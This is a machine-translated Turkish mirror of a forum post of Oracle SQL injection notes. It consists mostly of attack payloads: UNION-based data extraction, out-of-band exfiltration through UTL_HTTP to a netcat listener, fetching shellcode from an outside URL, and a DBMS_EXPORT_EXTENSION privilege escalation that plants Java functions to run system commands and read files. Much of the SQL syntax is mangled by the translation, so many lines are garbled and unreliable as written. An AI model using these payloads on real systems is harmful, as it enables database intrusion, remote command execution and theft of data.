Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 11931|Yanıt: 0

[Güvenli İletişim] SQL enjeksiyon notları oracle

[Bağlantıyı kopyala]
Yayınlandı 24.01.2015 12:58:17 | | |
Bu gönderi son 2015-1-24 13:01 tarihinde test tarafından düzenlenmiştir

Yorum: --
Çoklu cümle icrası desteklenmez ve federasyon sorguları desteklenmektedir
Veritabanı isimleri, tablo adları ve sütun adları hepsi büyük harfle yazılır.


uzunluk (alan)
ascii(substr(alan, N, 1))


ve (ikili saydan sayı(*) seçin)>0 -- Oracle olup olmadığını belirleyin

N-- tarafından sipariş edildi--

ve 1=2 birleşik seçici null, null,.....,null çift ile birlikte-- null yerine N veya 'N' ile değiştirin

ve 1=2 union select null, (sql ifadesi) ,.....,dual '- 'N'de (sql ifadesi) olarak değiştirilir

ve (all_objects'dan count(*) seç, burada object_name='UTL_HTTP')>0 -- UTL_HTTP'in desteklenip desteklenmediğini belirleyin (ihracat IP'si bilinir)

ve UTL_HTTP.request('http://LocalIP:port'|| (SQL ifadesi)) =1-- Uzaktan mesajları yerel, yerel dinleme nc -vv -l -p 1234


SQL ifadeleri
Oracle versiyonunu sorgulamak için rownum=1 olan sys.v_$version'dan banner seçin
v$logfile'dan üye seçin burada rownum=1 Log dosyası yolunu sorgulayın (Windows veya Linux)
veritabanı dinleme IP'sini sorgulamak için dual arasından utl_inaddr.get_host_address seçin
v$instance'dan instance_name seçin ve sid'i sorgulayın
v$veritabanından adı seç Mevcut veritabanı adını sorgula
Dual Inquiry Database kullanıcılarından sys_context ('userenv','current_user') seçin
Mevcut kullanıcı izinlerini sorgulamak için session_roles içinden * seçin burada rownum=1
session_roles'den * seçin burada rownum=1 [ve role<>'ilk izin adı']



user_tables'den table_name seçin burada rownum=1 Mevcut veritabanının ilk tablo segmenti
table_name||','|| seç tablespace_name user_tables'den sıranum=1 İlk tablo segmenti, veritabanı (doğrulama için v$database olmayabilir)
user_tables'dan table_name seçin, burada rownum=1 ve table_name<>'birinci tablo segmenti' Mevcut veritabanının ikinci tablo segmenti

user_tab_columns'den column_name seçin, burada rownum=1 ve table_name='Tablo Segmenti' Tablo adına karşılık gelen ilk alan
user_tab_columns'tan column_name seçin, burada rownum=1 ve table_name='Tablo segmenti' ve column_name<>'İlk alan' Tablo adına karşılık gelen ikinci alan

Tablo segmentinden alan seç, burada rownum=1 ilk satır içeriğini ihlal eder
Tablo segmentinden alan seç, burada rownum=1 ve alan <> 'ilk satır içeriği' ikinci satır içeriğini ortaya koyar.


Kütüphane Çapraz
all_tables arasından sahibini seçin; burada rownum=1 ilk veritabanı adını sorar
all_tables arasından sahibini seçin burada rownum=1 ve owner<> 'İlk veritabanı adı' ile ikinci veritabanı adını sorgulayın

all_tables'den table_name seçin, burada rownum=1 ve owner='database name' Karşılık gelen veritabanının ilk tablo adını sorgulayın
all_tables'den table_name seçin, burada rownum=1 ve owner='veritabanı adı' ve table_name<>'ilk tablo adı' ile ilgili veritabanının ikinci tablo adını sorgulayın

all_tab_columns'tan column_name seçin; burada rownum=1 ve owner='veritabanı adı' ve table_name='tablo segmenti' Tablo adına karşılık gelen ilk alan
all_tab_columns'dan column_name seçin; burada rownum=1 ve owner='veritabanı adı' ve table_name='tablo segmenti' ve column_name<>'ilk alan' Tablo adına karşılık gelen ikinci alan

Veritabanından alanı seçin. Tablo Segmenti, burada rownum=1 ilk satırın içeriğini ihlal eder
Veritabanından alanı seçin. Rownum=1 ve <> 'First Line Content' alan tablo bölümü ikinci satır içeriğini ihlal eder





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); çoklu ifadeli END; --','SYS',0,'1',0)--

'Escaped' ise, chr() kullanılır.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Çoklu ifadeler || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Birden fazla cümle çok uzunsa, ifadeyi web sitesi dosyasına yazabilir ve utl_http.request ile geri alabilirsiniz.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Bir JAVA paketi oluştur SecTest
runCMD, sistem komutlarını çalıştırmak için kullanılır
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN UYGULAYIN'' PRAGMA ILAN AUTONOMOUS_TRANSACTION; HEMEN YÜRÜTMEYE BAŞLA'' import java.io.* olarak "SecTest" adlı java kaynağını oluştur veya değiştirip derle; public class SecTest extend Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream()))); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); dönüş str; }catch(İstisna e){return e.toString(); }}}''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--

readFile dosyayı okumak için kullanılır
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN UYGULAYIN'' PRAGMA ILAN AUTONOMOUS_TRANSACTION; HEMEN YÜRÜTMEYE BAŞLA'' import java.io.* olarak "SecTest" adlı java kaynağını oluştur veya değiştirip derle; public class SecTest genişletir Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); dönüş str; }catch(İstisna e){return e.toString(); }}}''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--



Java izinlerini ver
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT HEMEN YÜRÜTÜN ''''başla dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''infaz ''''''''); son; ''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--



Bir fonksiyon oluşturun
SecRunCMD fonksiyonu
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT BAŞLAT HEMEN ''''yarat veya değiştir fonksiyonu SecRunCMD(p_cmd in varchar2) geri döndür dil olarak varchar2 dilini döndür java adı''''''''SecTest.runCMD(java.lang.String) return String'''''''' ; ''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--

SecReadFile fonksiyonu
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT HEMEN YÜRÜT '''''yarat veya değiştir fonksiyonu SecReadFile(varchar2'de dosya adı) varchar2'yi dil olarak geri döndür java adı''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--



Kamu işlevinin yerine getirilmesine izin verildi
SecRunCMD'ye izinler verilmiştir
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; HEMEN UYGULAMAYA BAŞLA '''SecRunCMD'deki tüm bilgileri halka ver'''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--

SecReadFile
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; HEMEN YÜRÜTMEYE BAŞLA ''SecReadFile'deki tüm işlemleri halka ver'''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--



Fonksiyonun başarılı bir şekilde oluşturulup oluşturulmadığını tespit eder
ve (all_objects'dan count(*) seç, burada object_name='SECRUNCMD')>0--
ve (all_objects'dan count(*) seç, burada object_name='SECREADFILE')>0--



Komutu uygula
ve '1'<>(Select sys. SecRunCMD('Komutu Çalıştır') dual'dan)--
ve '1'<>(Select sys. SecReadFile('dosya fiziksel adresi') çift modelden)--
veya
ve 1=2 birlik seçmeli null,...,sys. SecRunCMD('komutu çalıştır'),...,dual bölgeden null
ve 1=2 birlik seçmeli null,...,sys. SecReadFile('dosya fiziksel adresi'),...,çift sıfır--
veya
ve '1'<>(UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecRunCMD('Komutu Yürüt'),' ',' '),'\n',' ')) çift halinden)--
ve '1'<>(UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(SYS. SecReadFile('Dosya Fiziksel Adresi'),' ',','\n',' ')) dual)--



Silme fonksiyonu
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT EXECUTE IMMEDIATE 'drop fonksiyonu SecRunCMD''''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--
ve '1'<>'a'|| (SYS'i seçin. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT". PUT(:P 1); HEMEN ''PRAGMA ILAN AUTONOMOUS_TRANSACTION' UYGULAR; BAŞLAT HEMEN YÜRÜTME ''''fonksiyonu bırak SecReadFile'''; SON; ''; SON; --','SYS',0,'1',0) dual'dan)--




Önceki:Ölçülü başvuru yapabilir miyim, hangi koşullara ihtiyacım var?
Önümüzdeki:ORALCE, ana bilgisayar adını ve IP adresini elde eder
Feragatname:
Code Farmer Network tarafından yayımlanan tüm yazılım, programlama materyalleri veya makaleler yalnızca öğrenme ve araştırma amaçları içindir; Yukarıdaki içerik ticari veya yasa dışı amaçlarla kullanılamaz, aksi takdirde kullanıcılar tüm sonuçları ödemelidir. Bu sitedeki bilgiler internetten alınmakta olup, telif hakkı anlaşmazlıklarının bu siteyle hiçbir ilgisi yoktur. Yukarıdaki içeriği indirmeden sonraki 24 saat içinde bilgisayarınızdan tamamen silmelisiniz. Programı beğendiyseniz, lütfen orijinal yazılımı destekleyin, kayıt satın alın ve daha iyi orijinal hizmetler alın. Herhangi bir ihlal olursa, lütfen bizimle e-posta yoluyla iletişime geçin.

Mail To:help@itsvse.com